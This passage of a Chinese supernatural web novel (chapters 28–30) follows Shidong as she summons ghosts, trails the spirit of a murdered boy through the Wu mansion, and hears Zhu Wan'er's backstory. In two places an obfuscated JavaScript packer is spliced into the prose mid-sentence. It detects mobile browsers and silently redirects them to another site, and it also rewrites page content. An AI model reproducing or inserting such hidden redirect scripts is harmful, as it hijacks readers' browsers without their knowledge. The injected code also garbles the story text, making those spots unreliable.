总之,先看看能不能找到给小喜收尸的敛尸匠。 拾冬打听到了当地的丧葬街。 可连续找了好几个敛尸匠,他们像早就知道有人会来问似的,即使拾冬探听得委婉,但他们还是察觉到了她的意图,脸色一变,异口同声说不知道。 拾冬身无分文,又没法用银子打点,再又一次碰壁后,她有些沮丧。 这完全是个死局。 拾冬好像能理解这两天的郁之了。 一阵唢呐声由远及近传来。 不远处,稀稀拉拉过来几个身披孝服的人,他们神情木然,前头两个人一边唱着丧词,一边往天上扔黄纸,风一吹,黄纸纷纷扬扬,四散开去,有几张吹到拾冬脚边。 “又死了一个。” 拾冬循声望去,从纸扎铺走出一人,是刚刚说不认识小喜轰她走的老头。 他佝偻着背,一看拾冬,脸色微变,只扫了一眼,便低头整理刚被风吹乱的冥钱。 “这附近经常死人吗?”拾冬趁机发问,一边帮忙替老头整理。 老头似不闻,手机械动着,整理完又回去了。 跟个人机一样。 拾冬吐槽完,猛一下想到,问这里的人行不通,问这里的鬼行不行呢? 她趁里头的人不注意,飞快顺走了几样东西拐进一无人小巷。 * “天地阴阳,万物生灵,荡荡游魂,何处留存,以符为凭,以香为引..”① “天地阴阳,万物生灵,荡荡游魂,何处留存,以符为凭,以香为引..” “呼!” 后背推来一股强风,拾冬依旧闭着眼,加快念诀的速度, “天地阴阳,万物生灵,荡荡游魂,何处留存,以符为凭,以香为引..” “天地阴阳,万物生灵,荡荡游魂,何处留存,以符为凭,以香为引..” 烛火不断摇晃,黄纸吹得到处都是,树上栖着的几只乌鸦振动翅膀嘎嘎叫着离开.. 咒文越念越快… “天地阴阳,万物生灵,荡荡游魂,何处留存,以符为凭,以香为引..” “天地阴阳,万物生灵,荡荡游魂,何处留存,以符为凭,以香为引..” “啪..” 一支白蜡吹倒在地。 拾冬睁开眼,刚还大亮的天,如今暗得没有一丝光亮。 “咚..咚...咚...” 它们来了。 她拿过另一支还燃着的白蜡朝声音走去。 28. 第 28 章 “救我。” “救我。” “救我。” 拾冬拿着蜡烛在黑暗中摸索走了一段路后,终于找到了声音来源。 出了小巷,薄雾蒙蒙,临水而建的街道,右边一爿爿关着门的店铺,檐下灯笼无风自动。雾里人影憧憧。 拾冬躲在一棵老树后,仔细观察。 路过的人,面无表情,双目失神,嘴里念念有词,机械往同一地方走去。 他们都是刚死不久的生魂,刚死的人,不知道自己死了,还残存着本能的求生欲。 可是,竟然有这么多。 拾冬望着陆陆续续走过的生魂,联想起前不久的热闹街道,结合丧葬街那冷清模样,完全想象不出这当地竟然死了那么多人。 这些人死得无声无息。 死了人,但看不出死了人。 这到底是怎么回事? 雾气凝成水珠滴在拾冬头顶,她不自觉扶住粗壮树干,入手一片湿滑。 这是祝婉儿的幻境,只要在她幻境里,我就没事。 起码在明日酉时之前。 拾冬喉头滚了好几下,最终决定跟过去。 她想看看,他们到底去哪里。 拾冬混在其中,跟着这些人往前走,一边暗中观察,在路过一石板拱桥时,从桥对面走来一孩子,它穿着极好的丝绸制的褂子,腰间玉佩叮铃作响。 这是个有钱人家的小孩。 拾冬立马联想到小喜。 难道小喜真的死了。 “你们吴家到底在搞什么鬼,人怎么说死就死了,我上午去的时候你家有半点死人的样子吗?” 拾冬想起那天郁之在堂上的话。 据说,小喜是吴家大儿子缠绵病榻多时,好不容易生下的长孙,吴府上下都很重视,他如果真的死了,怎么会不办丧事。 眼看着那孩子越走越远,拾冬来不及细想,转身跟了过去。 前面的孩子像是有目的地,穿过好几条街后,来到了一府邸门口。 吴府。 他真的是小喜。 拾冬一步不敢慢,跟着小喜进了吴府。 暗沉沉的吴府一个人都没有,小喜熟门熟路,从这个厢房进,那个厢房出,像是找人,又像是小孩子的恶作剧,拾冬跟着它跑了六七个房间后,终于耐心耗尽。 她摸了摸口袋里的东西在心里鼓气, 没事的,拾冬,一个孩子,大不了弄死它。 她一把拽住要走向下一间房的小喜。 “告诉我,你是怎么死的?” 既然祝婉儿说叫魂一事子虚乌有,那小喜到底是怎么死的? 小喜没有说话,一张惨白的脸无知无觉。 “你是得天花死的吗?” 拾冬想起董大说的怪病,也不管它会不会说话,急迫追问。 可面前的人,像是听不懂依旧没有说话。 “叮铃~叮铃~” 偌大的院子里不知从哪传来清脆铃声,拾冬直起身,目光所到之处,白雾萦绕。 还未平稳的心跳又一次跟着紧张起来。 “回来…小喜…回来…快回来…” 有人在招魂。 难道眼前这个是小喜出窍的一缕魂! 面前的小喜果然闻声朝前走去。 拾冬紧忙跟上。 有人在招小喜的魂,很有可能小喜压根没死,也许是受了惊,导致失魂。 跟着孟永这些年,拾冬见过不少失了魂的孩子。 小喜穿过一座回廊,又往前走了一段路后,它突然停在了后花园的拱形石桥上。 拾冬站在桥头,大气不敢出。 “叮铃…叮铃…” “回来…小喜回来…” 招魂人还在锲而不舍叫着,可小喜就是不动,像玩具机器人突然没电一般。 拾冬想起孟永招魂时,有时怎么都招不回来,是他们在阴间迷路了,得折个纸马去领。 拾冬摸出口袋的黄纸准备折一个。 “扑通!” 就这一低头折纸的功夫,小喜跳下去了。 拾冬立马奔到池塘边,水面还漾着波纹,可小喜已经不见了。 就在她想接下来怎么办时,一只手从水里腾地伸出,她来不及逃跑,便被拽了下去。 “哗啦…” 好冷。 拾冬在水里睁开眼,眼前漂过一团团水草,她想往水面上游,可脚像是被水草缠住,怎么都使不上劲儿,就在这时,小喜的脸从水底浮了上来。 它和刚刚完全不同,像是被泡发的巨人观,它望着自己,眼里冒出鲜血,嘴巴一张一合,吐出气泡。 拾冬努力辨认后,读出了它的口型。 “救我!” 下一秒,小喜在她面前炸开,浓烈的腥臭味让她几欲窒息。 此时本能的求生欲望支撑着拾冬拨开猩红一片的水面,拼命往岸边游去,她一直闭着气,直到手指触到湖边滑腻的鹅卵石。 “呼…呼…呼…” 拾冬在岸边大口喘气。 祝婉儿到底是怎么回事?她到底想干什么?! 劫后余生的拾冬坐在岸边,冷得牙关打颤,暗骂祝婉儿丧心病狂。 等呼吸稍微平稳后,一个可怕念头在脑海闪过。 这真的是祝婉儿的幻境吗? 自己私自通灵,到底通到了哪里。 拾冬从地上爬起,招魂声不知何时消失,四周一片死寂。 寂静得让人害怕。 不行,我得回去。 拾冬摸了摸口袋,里面就剩几张泡烂的黄纸。 发间的水不断往下滴,拾冬朝四周看了看,决定先去找找这有没有能生火的地方,她实在冷得受不住了。 拾冬顺着刚刚的路走回去。 在找火源的路上,拾冬开始回顾刚刚一连串的事情。 小喜应该是死了,那他回吴府的目的是什么。 他的尸体难道埋在吴府池塘? 到底是谁在招小喜的魂。 小喜说的救我又是什么意思。 如果不是柯晋元害了小喜,小喜也不是得病死的,那会是谁? 余光中有什么东西一闪而过。 拾冬停下步子,头僵硬转向右边,不远处,赫然站着一女人。 即使四周光线模糊,她也能感觉到女人正盯着自己。 拾冬摸向另一侧口袋。 东西还在。 女人并没有靠近自己,而是伸手向前指了一个地方。 拾冬镇定盯了她几秒,转身朝相反的地方走。 她不可能在这种时候相信一个鬼。 吴府竟然还有别的鬼。 拾冬不再找火源,决定立马出府。 可进来容易出去难,刚和小喜七拐八拐乱走一通,自己又不熟悉吴府构造,还有身后那个女鬼。 不管自己怎么走,她都不停跟着。 女鬼往右指,拾冬便往左走,往前指,她就往后走。 一人一鬼暗自较劲,拾冬在又一次走向女鬼指的相反方向后,她看到一栋宅子,这宅子看上去要旧许多。 会不会是后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701288|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门出口。 拾冬往后看了一眼,那女鬼在不远处站着。 “吱…” 宅门自己开了。 再一扭头,拾冬发现刚还在身后的女鬼此时站在宅子门口。 中计了! “你敢耍我!” “正是。” * 酉时已过。 祝婉儿刚把抓到的厉鬼封印进坛子,外面便传来风风火火的脚步声。 “祝婉儿!祝婉儿!我找到办法了,你人呢!” 是那个傻子。 祝婉儿敲了敲还在震动的坛子,随即走了出去。 一出门看到满身狼狈的郁之,嫌恶退了两步讥讽道:“你这是干什么去了?” “我找到小喜的尸体了!还有证人!”郁之忽略祝婉儿嫌弃的表情,急冲冲说起话来。 “哦?”祝婉儿秀眉意外一挑,又上下打量了郁之几眼。 “我跟你说,我是怎么找到的。”郁之也不等祝婉儿提问,自顾自坐在祠堂门槛开始讲起来。 郁之想了许久,都觉得吴老太大清早出门有问题,但他又不能再明目张胆上吴府,于是在他家附近偷偷观察,伺机行动。 “终于让我找到机会了。”郁之一拍大腿,疼得龇牙咧嘴。 他等到半夜,终于看到有个人偷偷摸摸出来了,是今早的马夫。 “我一路跟着他到一个小客栈,结果发现,他和诬陷柯晋元叫魂的那个…叫什么来着…” “福满。” “对!”郁之又一拍腿,“他俩竟然是远方亲戚,我上去就把那两人拿下了。” “你拿下?”祝婉儿看着他脸上青一块紫一块的淤青。 “对啊。”郁之没有丝毫不好意思,“我对他们严刑逼供,那个马夫终于说出了小喜埋在哪了?” “小喜就埋在吴老太常去拜佛的那间寺庙后山!我挖到了!” 郁之手舞足蹈地邀功,祝婉儿看到他手上的血泡,满是泥点子的裤脚,脸上青一块紫一块,看来是受了些苦。 “走啊,我带你去看。”祝婉儿一直不说话,郁之生怕她怀疑自己,说着就要起身。 “不用了,我知道小喜在那。” 这是她布置的幻境,只要触发了关键点,她都能接收到。 只是没想到是这个傻子。 “所以,你早就知道小喜埋在哪,也知道真相?!”郁之见祝婉儿一副毫不意外的模样,终于反应过来。 祝婉儿点头。 “你什么时候知道的?” 祝婉儿别过眼,没有回答。 “现在你能放了我们了吧!” “我一开始就没打算杀你们。”祝婉儿脸上浮现恶作剧般狡黠神情,“谁叫你买了我的东西。” 那个大阿福原本是祝婉儿所有物,在拍卖行接收香火人气,谁知道被这个不识好歹的人给买走了,她就稍微报复报复他。 “你…!” “行了,放你们回去便是。”祝婉儿这下想起拾冬,“另一个呢?” 郁之神色一黯,他们一出府衙拾冬就说让他先去吴府守着,她等会过来。 可他等了好久都不见人来,便知道拾冬也许一开始就不打算和自己一起。 祝婉儿见他这样子,当下了然,不再往他伤口撒盐,手一捻诀,“我给你把她找出来。” “好!”傻狗哈士奇瞬间哄好。 可不一会儿,祝婉儿带着交不了差的神情说:“她不见了。” 郁之急得刚站起身,人忽然仰面倒了下去。 “喂!” 29. 第 29 章 拾冬又一次看到了小喜,回到他们刚进吴府,他在每个房间乱转的时候。 只是这次和之前不同,门一推开,里面竟然有人说话。 算盘声噼里啪啦了半晌,男人对完账,放下账本,背手在房间踱步, 从外面款款走来一富态十足的女人,扫了眼桌上账本,“我们斗不过柯家的,你再不下决定,死了有何脸面去底下见祖宗。” “可那孩子..” “也算过了几年好日子,随了那倒霉的爹,迟早的事。” “...我再想想...” 房里的光线渐渐消失。 拾冬跟着小喜去往下一间房,刚到门口便闻到浓浓药味。 “这事...就这么定了!” 暗幽幽的房间,男人盯着面前的烛火,吐出这几个字。 “什么叫定了..”女人没听懂,望着夫君的侧脸抖着唇又问了一遍。 男人避开妻子痛切的眼神,余光瞥到还冒着丝丝热气的汤药,伸手端起,“你要怪就怪我,怪我不争气。” “这事..就这么办吧!” “我不允!那是我的孩子!”女人劈手夺下男人手里的汤药摔在地上,“你眼睁睁看着小喜去死吗?!” 男人撑着桌角站起来,反手巴掌甩在女人脸上,“那我呢,你要我死吗?没有银子,我怎么办!” 女人捂着红肿的脸,眼泪浸满眼眶,她静静扭过头,和门口的小喜无言对视。 小喜把门关上,刚还清晰的蝉鸣声一并消失。 穿过回廊,一阵寒风袭来,拾冬嗓子一痒,不自觉咳嗽了几声。 “吱。” 门开了。 一群人围在床边,透过人群缝隙看到一双虎头小鞋。 “大夫,这孩子怎么样了。” “天这么冷,小公子身子骨本身就弱,这么久闭气,怕是..” “多谢大夫,大过年劳烦你走一趟,玉兰,送客。” 郎中和仆人走出来,和一女人擦身而过。 只见那女人低头走进来,还未等行礼,为首的老妇人上来就是一耳光,“你个吃里扒外的蠢货,小喜是不是你害的。” 女人低着头一言不发。 “你以为你这样做是在救他吗,我告诉你,我有的是法子。” 人群缝隙中,搭在床边的小手轻轻耷拉下去。 这是第三个房间,拾冬依稀记得,小喜走了五六个房,可前面的小喜在关了这扇门后,没有再去往下一间,定定盯着正前方。 刚怎么都找不到的大门,此时不过几百米,拾冬伫立在寒风中,大门檐下挂着新年庆祝的红灯笼,隐约还听到了噼里啪啦的鞭炮声。 这时黑暗中出现了四个人,他们抬着一口棺材慢悠悠出了吴府,一仆人模样的人牵着一小孩和他们四人错身走了进来,仔细一看,竟是小喜。 拾冬忍不住望向旁边的小喜。 怎么有两个。 只见那仆人牵着小喜越走越近,拾冬听到那老仆人说:“刚说的记住了吗?” “记住了。”小喜拘谨低着头,又忍不住朝四周偷偷打量。 “那就好,好孩子。” 仆人牵着小喜从拾冬身边径直走过,“那吴叔问你,你是谁呀。” “我是小喜。” “对咯,你是谁?”老仆人转向没有人的另一边。 “小喜。”另一个小喜跟上,牵起老仆人的手。 “对咯。” 三人一起朝前走去。 拾冬看到这里,已然看不明白了。 小喜没死的话,那口棺材里的人是谁。 小喜死了的话,此时多出的一个孩子又是谁。 拾冬正欲向前,胸口一闷,整个人迅速失去意识。 * 拾冬醒来,迟钝了片刻撑起身子,环顾了一圈后意识到自己在柯府,午后明晃晃的日头透过半开的窗户延伸进来,她忍不住眯了眼,口渴难耐,蹒跚下床给自己倒了杯茶,一口气喝了个底。 “醒了?睡了一天,再不醒我就准备把你扔出去。”祝婉儿不知何时出现在窗外,依旧那副气定神闲的模样。 拾冬不语,脑子一片混乱,续上第二杯茶时,听到祝婉儿问她:“不想知道你朋友的下落?” 酉时看样子过去很久了。 拾冬这才想起郁之来,两边扫了几眼,没看到人,她低头喝了半杯茶,不紧不慢问道:“他人呢?” “如果我说死了呢?” 拾冬想去倒第三杯发现茶壶空了,她放下手里的茶杯,窗外有只鸟,叽叽喳喳叫得人心烦,她眼里没有过多表情,平静回答:“那不正合你意。” “你这人…”祝婉儿竟一时找不到合适的词来形容。 饶是自己经历了这么多人和鬼,也不免觉得眼前这人心冷。 “祝婉儿,她醒了吗?” 不远处传来熟悉的声音,拾冬暗自松了口气。 活着就好。 郁之推开门发现拾冬醒了,眉梢一喜,快步走来坐在她对面:“你醒了就好,我说你怎么没来吴府找我,原来是被鬼勾了魂,我就知道你不会扔下我的。” 我… 你… 我… 拾冬看着郁之为自己找台阶下的样子,作为乙方升起了小小愧疚感。 “你没事就好。”拾冬就着台阶下,顺便凸显一下自己的身不由己。 “我没事,我找到了小喜的坟。”郁之带着邀功请赏般得意的样子说,“我们可以回去了。” “小喜的坟?在哪?” “在吴老太拜佛的后山啊。” “确定是小喜吗?”这话拾冬是在问祝婉儿。 “什么意思?”祝婉儿反问,“你这两天看到了什么?” 祝婉儿找拾冬着实费了些功夫,要知道,魂体进入底下世界越深越难找,她再晚一点去找,恐怕眼前人都出不来了。 拾冬不语。 她的确有些在意小喜的事,但既然刚刚郁之说他们可以回去了,她也不想为了一个陌生人平添麻烦。 “没什么。” 祝婉儿若有所思。 拾冬想立刻回去,但祝婉儿说为了赔罪,请他们吃顿饭, 一说完便不见了,拾冬想拒绝都不能。 “鬼做的饭我们人能吃吗?” 郁之对此发出灵魂质问。 * 事实证明,鬼做的饭,人不仅能吃,而且很好吃。 祝婉儿作为古代人做出来的菜,味道和现代饭店做出来的完全不同,郁之一边吃一边建议祝婉儿可以去开个店。 “那可不行,吃了我的菜是要死人的。” “……” “……” 两个人不约而同停下了筷子,祝婉儿见状扑哧一笑宽慰道:“放心吃吧,没毒。” 拾冬惜命,也吃了个六七分饱,放下筷子不再进食,那边郁之贪了几杯桂花酿,迷迷瞪瞪趴在桌上睡着了。 吃饭地点设在湖中心的凉亭,此时风一吹,几分寒意袭来。拾冬看到祝婉儿伸手一挥,郁之身上便多了件斗篷。 “看来他没告诉你。”祝婉儿察觉到拾冬的视线,眼里清清白白看过来说道。 “告诉什么?” “他背上挨了一刀。” 拾冬有些意外,下午他们一直在一起,郁之一句话都没提过。 “反正你会帮他治。”拾冬看他现在活泼乱跳的模样,应该是没什么大碍了。 “我的确可以帮他处理,但那一刀....”祝婉儿喝了口酒,轻飘飘加了四个字,“皮开肉绽。” 拾冬木着脸,“你跟我说这个干什么?” 她可不是会轻易感动的人,更何况, “祝婉儿,你要搞清楚,出不去我和他都得死。他这么做不是为了我,是为了他自己。可别把这一刀的恩情算在我头上。” “……” 好像有点道理。 祝婉儿词穷,默默喝了口酒。 拾冬看向湖面,微波粼粼,又不由自主想起了小喜,问祝婉儿是怎么知道小喜埋在后山的。 祝婉儿停了一会儿,说:“云璟死后的第五年。” 柯晋元没能等到第二年开春,在那年冬天过世了。 “那一年雪下得格外多,像是要把人埋了。”祝婉儿空洞笑了起来,“云璟走后没多久,我娘受不住打击,也跟着去了。 吴家生意越做越大,还成了朝廷专供,而我们柯家彻底败了,我和爹卖了唯一的宅子,离开了吉丰。” 叫魂一事查明是第二年年末。 祝婉儿刚把柯父下葬,回去路上看到告示,不知该哭该笑。 “朝廷轻飘飘一句叫魂一事子虚乌有,便把之前一切冤假错案一笔勾销。可我一家是几个字便能一笔勾销的吗?我爹,我娘,还有我夫君,他们是活生生的人!”祝婉儿没有眼泪,但浑身上下涌出滚滚黑气。 拾冬回想起那两天在牢里的所见所闻,结合祝婉儿的经历,不知该说什么。 “真相是福满告诉我的,第五年闹灾荒,他一家老小乞讨到我家院子,把一切来由告诉了我。” “他跪在我面前求我原谅,说他不是人,说他一时鬼迷心窍。我没说话,给了他点干粮,打发他走了。” “你还给他吃的。”拾冬甚是不解。 “都是苦命人,我即使杀了他,又有何用,他孩子还那么小。” 拾冬别过头翻了个白眼。 “所以你并没有亲眼看到小喜埋在后山,只是听说?” 祝婉儿点头,想起她从回来就一直在提小喜,下午的问话又拿出来问一遍:“你到底在那边看到了什么?” “我看到了小喜,还有一个跟你年纪差不多的女人。”拾冬托腮,“小喜在向我求救。” 求救? 小喜不是得天花死的吗?为何求救。 祝婉儿不解。 “阿嚏。”一旁迷迷糊糊的郁之打了个喷嚏。 “行了,时候也不早了,你们先回去休息吧,明早放你们回去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704436|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等会儿,你不把他弄回去?”拾冬急忙叫住要走的祝婉儿。 “你弄吧,我累了。”祝婉儿说完一闪身人便走远了。 拾冬知道祝婉儿什么意思,一边在心里骂她封建余孽,一边把郁之叫醒,要他回去睡觉。 郁之没有醉到完全走不动道,只是有些摇晃,拾冬在旁帮忙看路,时不时伸手扶一下,防止他摔倒。 经过祠堂时,里面一排排白瓷罐子突然振动起来,拾冬问旁边的郁之这是什么。 “祝婉儿说是她的食物,我们也差点要进去了。”郁之心有余悸解释。 这么八卦,原来是吃得太饱了。 拾冬望着满目瓷罐,在心里吐槽。 “拾冬,你看,下雪了。” 拾冬转向檐外,片片雪花簌簌而下。 桐岭市不常下雪,她也好久没见过雪了。 她伸手去接,雪花落在掌心,不一会儿便化了。 “你在想什么?”郁之见她沉默,好奇问道。 真实。 吃的饭菜,手心融化的雪花,还有牢里受的刑,都太真实了。 她很难从这其中剥离出来,自然也无法把小喜的事当做不存在。 她想起小喜在水里的求救,他的血泪。 和星星一样。 他们身后,一团黑气从白瓷罐中缓慢渗出。 那日祝婉儿听到郁之叫她,一时疏忽忘了加咒,此时恶鬼冲破封印,正逐渐显出原型。 李恶霸早就忘了自己叫什么名字,但别人都叫他李恶霸。 他这一生,杀夺掳虐,无恶不作,死后自然得不到好下场。 可他不怕,活着当恶人,死后老子也要当恶鬼。 他私自逃到人间,在阴阳两道很快杀出一条血路,没想到栽在一娘们手里。 这口气他无论如何都咽不下。 李恶霸冲破封印,刚一现形,便看到门口站了两个人。 “老子先吃了这两个回回血,再去找那娘们儿。” 李恶霸猛地朝他们冲过去。 “没什么。” 拾冬刚说完,一股强风从身后猛地吹来,她被带着后退了两步,还没等反应过来,几秒后周遭恢复平静,仿佛刚刚那股强风只是错觉。 “刚刚…”拾冬感到心脏闪过一丝不适,但又很快消失,如同那股风一般。她犹豫指了指身后看向郁之,像是想求证,“有股风…” “是啊,这天太冷了,我们赶紧回去吧。”郁之拢了拢身上斗篷,咳嗽两声。 拾冬朝祠堂里瞧了瞧,刚还不停振动的瓷罐,此时鸦雀无声。 “走吧。” 拾冬不再纠结朝前走去,郁之跟在身后,冷冽的眸子朝后望了一眼,看不见的黑暗里,李恶霸身体四分五裂,瞪着一双不可置信的眼,消失得无声无息。 * 好久没见雪了。 一到雪天,拾冬总是会和云黛他们在院子里打雪仗。 破旧棉鞋踩在雪地上咯吱咯吱,她一边躲过飞来的雪球攻击,一边用冻僵的双手团雪球胡乱扔向对方。 操场上充斥着他们的笑声。 直到一女人笑容可掬走过来,她拍了拍拾冬身上的碎雪,嗔怪道:“拾冬啊,女孩子要有女孩子的样子,走吧,路叔叔来了。” “我…不想去。”拾冬往后退,努力抽回自己的手。 “拾冬听话,路叔叔给你带了很多好看衣服。” “我不去,不去。”拾冬憋红双眼,使劲挣扎,脚在雪地拖出长长的印子。 “听话,走!” 拾冬扭向云黛和姜州,哭着喊起来:“云黛…救我…” “救我!” 大雪纷飞中,她看到一个小孩,他被绑着,身上贴满了符纸,他和自己一样,不断挣扎着。 周遭吹吹打打,诵经声不绝于耳。 “吉时已到,入棺!” 他被装进一空棺,棺材缓缓入水。 “救我!” “救我!” “救我!” 她早已分不清是谁在求救。 拾冬从噩梦中醒来,一摸脸,一手湿润。 窗户不知何时被风吹开,她从床上坐起,外面已是一片银装素裹。 下雪天,总是不那么美好。 她拽紧被面,吸进满肺冰凉。 * 第二天一早,拾冬迫不及待说要回去,祝婉儿便把两人打发走了。 今天是进食日,她照例到祠堂,打开罐子,发现前些天抓的那个恶鬼不见了,这才想起那日郁之咋咋呼呼进来,她一时疏忽忘了加咒。 大概是逃了。 祝婉儿有些可惜,吃了它能涨不少修为。 都怪那个傻子。 要不是他俩,那鬼指定跑不了。 祝婉儿不满合上空罐子,走向祠堂内间。 她取了几支香,点燃后分次插进香炉,烛火摇晃,祝婉儿盯着柯晋元的牌位喃喃自语, “云璟,你到底在哪?” 30. 第 30 章 “这天看样子要下雪了。” “是啊,老夫人风寒还没好,晚上记得再加床褥子,汤婆子多放一个。” “放心,都记着呢,少夫人怎么还没从绣纺回来。” “去吴府了。” 俩老嬷嬷一对视,各自沉沉叹了口气。 “来人啊,把她给我轰出去,轰出去!”吴李氏指着眼前的人,气得身子都在抖,旁边婢女急忙扶住。 “吴夫人,都说您喜欢小喜,为何小喜死了你不许仵作验尸,匆匆下葬,殓师匠在给小喜收完尸后不到五日也突发恶疾身亡。吴夫人,小喜到底怎么死的你我心知肚明,叫魂一事纯属子虚乌有,现在我不想追究这事对错,我只求您能还我夫君清白。”祝婉儿被推出大门,即使力气不如两个强壮小厮,却依旧坚持抵力往里走,想进去和吴李氏交涉。 “赶紧把门关了,以后你们谁再敢放这晦气东西进来,看我不打断你们的狗腿。” 祝婉儿被推倒在地,眼睁睁看着大门在眼前合上。 “婉儿,你没事吧。”吴瀚正巧从外头回家,看到祝婉儿急忙跳下马车上前搀扶。 “不必。”祝婉儿冷漠躲开,继而凉薄一笑,“还没来得及恭喜吴公子新绣纺开张。” 吴瀚面露难堪。 吴家新盘下的铺子一开始原本归柯家所有,柯晋元入狱后,大家纷纷在传柯家人会叫魂,别说一般客人,就连平日里称兄道弟的老主顾都陆陆续续转向吴家,生意一落千丈不说,怕柯晋元在狱里受委屈,还得花钱打点衙役,贱卖了好些地产,可银子花出去不少,人却迟迟不肯放。 “婉儿,我也有难处,我...” “你不必向我解释你的难处,这与我有何干系?” “若你真念及往日情分,就请说出真相,让云璟早日回来。” 祝婉儿提裙走下台阶,身后的吴瀚却不依不舍跟上来,“婉儿,我知这阵子你心里的苦,但事已成定局,你又何苦如此这般,你和柯晋元拜堂未成,你何不...” “吴公子。”祝婉儿坦然打断吴瀚的话,“我与云璟已经成亲,下次再见请叫我柯少夫人。” “时候不早了,告辞。” 祝婉儿敷衍行礼告辞,独自往家走。 柯府为了缩减开支,遣散了大部分仆人,曾经热闹的宅子,如今人影伶仃,天色一暗,愈发冷清。 今日晚膳一家人又聚不到一处 柯母自从柯晋元入狱后便缠绵病榻,柯父一身傲骨,从不求人,如今也不得不四处奔波打点,短短数月,原本精神矍铄的老人枯槁了不少。 祝婉儿换下摔了一身灰的袄子,坐在餐桌前问:“张嬷嬷,娘今天吃过了吗?” “夫人说没胃口。” “不吃怎么行,你去准备一些易入口的吃食,我待会给娘送过去。” “诶,好。” 祝婉儿也没胃口,吃了几筷子便放下,端着张嬷嬷准备好的吃食去了柯母房间,一进门,发现柯母正在穿针,桌上放着绣到一半的云肩。 “娘,这些我来就行,您好生歇着。”祝婉儿把托盘搁在桌上,一边拿下她手里的针。 “王夫人以前很喜欢我绣的云肩,前阵子念叨了几次要我给她绣一件,我在家闲来无事,正好熟熟手。” 那东街的王夫人向来市井市侩,以前柯秦氏不喜和她来往,如今,王家二子中了举,王夫人出街那排面都不一样了。 柯秦氏想借送云肩的由头,求王夫人打点云璟的事。 祝婉儿把碗碟一样样放在桌上,咽下心里的酸说: “娘,先吃饭吧。” “好。” 祝婉儿特意挑了几样开胃爽口的小菜,柯秦氏给面子吃了半碗,吃罢,见祝婉儿想起身收拾碗碟,她摆了摆手,“放着吧,陪娘说说话。” “好。” 外面风更大了,吹的窗子哗啦作响,两人听着屋外的动静,不约而同想起了还关押在牢里的柯晋元。 “放心,那床厚褥子我已经托人捎去了。”柯秦氏拍了拍祝婉儿的手背,见祝婉儿笑的牵强,想起前两天云璟的话,正色道,“婉儿,云璟现在出了这事,我们都不知道这日子何时是个头,你还年轻,若有别的去处,你不需要顾忌云璟,这事我能做主。” 脸上牵强的笑在听了这话后再也挂不住,祝婉儿坐在灯下想起前两天柯秦氏去见了柯晋元,回来后就一副若有所思的样子,想来是柯晋元跟她说了什么。 “是云璟的意思吗?” 柯秦氏没想到祝婉儿这般敏锐,但很快她摇头否认,“这是我的意思。婉儿,你十岁来了绣纺,我从怎么拿针开始一点点教你,你聪明懂事,为绣纺尽心尽力,这些年我早已把你当女儿看待,哪个做母亲的不想女儿有个好去处。” 祝婉儿潸然泪下。 十岁那年唯一依靠的母亲旧疾复发,年底没熬过便去了,生前为了给自己谋个好去处,当了唯一值钱的首饰,托人让自己进了柯家绣纺。 这一待便是七年,自己又何尝不是把柯家人当做自己亲人。 “您是要赶我走吗?” 柯秦氏一愣,没想到竟被曲解成这般,她哑然失笑,手不轻不重拍在祝婉儿手背,“净胡说,我怎么舍得赶你走。” 祝婉儿用帕子擦干颊边眼泪,注视着柯秦氏,笃定地说:“娘,我哪都不去,我等云璟回来。” 柯秦氏颤抖握紧祝婉儿手背,“好孩子。” 祝婉儿伺候柯秦氏睡下后,便回屋赶制下月给知府母亲的寿礼。 知府母亲喜欢粤绣,但祝婉儿擅长苏绣,要以粤绣针法制群仙贺寿图,祝婉儿这些日子几乎整宿整宿地研究,每下一针,仿佛离云璟出狱就更近了一步。 “啊..” 额头被扎了一针,祝婉儿猛一下从迷瞪中清醒,她急忙查看架上的针面,确定没被沾上污垢后才松了口气,用帕子随意擦去额头血珠。 “吱呀..” 有什么东西自屋顶坠落。 祝婉儿循声推开窗,被拒之门外的风立马裹着鹅毛般的雪片吹进屋,她不禁缩了缩脖。 这场雪到底还是下了。 第一次见柯晋元也是这样的雪天。 * “顺,齐,平,匀,洁” “顺,齐,平,匀,洁” “顺,齐,平,匀,洁” 祝婉儿嘴里念念有词,捧着绣棚练习今天嬷嬷教的针法,来绣纺半年有余,别的姑娘已经会好几种绣法,能在团扇刺绣,自己连最简单的都还得反复练习,十个指头密密麻麻都是针眼。 好不容易有个容身之所,她得比别人更花心思才行。 祝婉儿知自己资质平庸,学不会就多练几遍,经常独自在绣房待到很晚, 门发出吱呀一声,没料到这个时候还有人来的祝婉儿一惊慌,手被扎了个小血珠,不过这半年她早已习惯,随意抹了下手指,面对门口的男子强装镇定呵斥道:“绣纺后院男子不得入内,你是何人?” 柯晋元也没想到这么晚绣纺还有人,不过看这样子,猜想是绣纺的女工,他平时极少进入绣纺,不认识自己也是应该的。 “你别怕,我是柯府管家,过来取夫人落下的东西。”柯晋元看她依旧戒备的模样后退了两步,“我不进屋,姑娘是否看到一个祥云图案的盒子。” 柯母到礼佛,经过绣纺顺道过来看看,回府时把佛经落下了。 祝婉儿把东西小心捧出来递给柯晋元。 “多谢姑娘。”柯晋元接过盒子道完谢便离开了,祝婉儿接着练习,没过半晌,柯晋元又回来了。 “是又落下其他物品了吗?”祝婉儿面对去而复返的人疑惑问道。 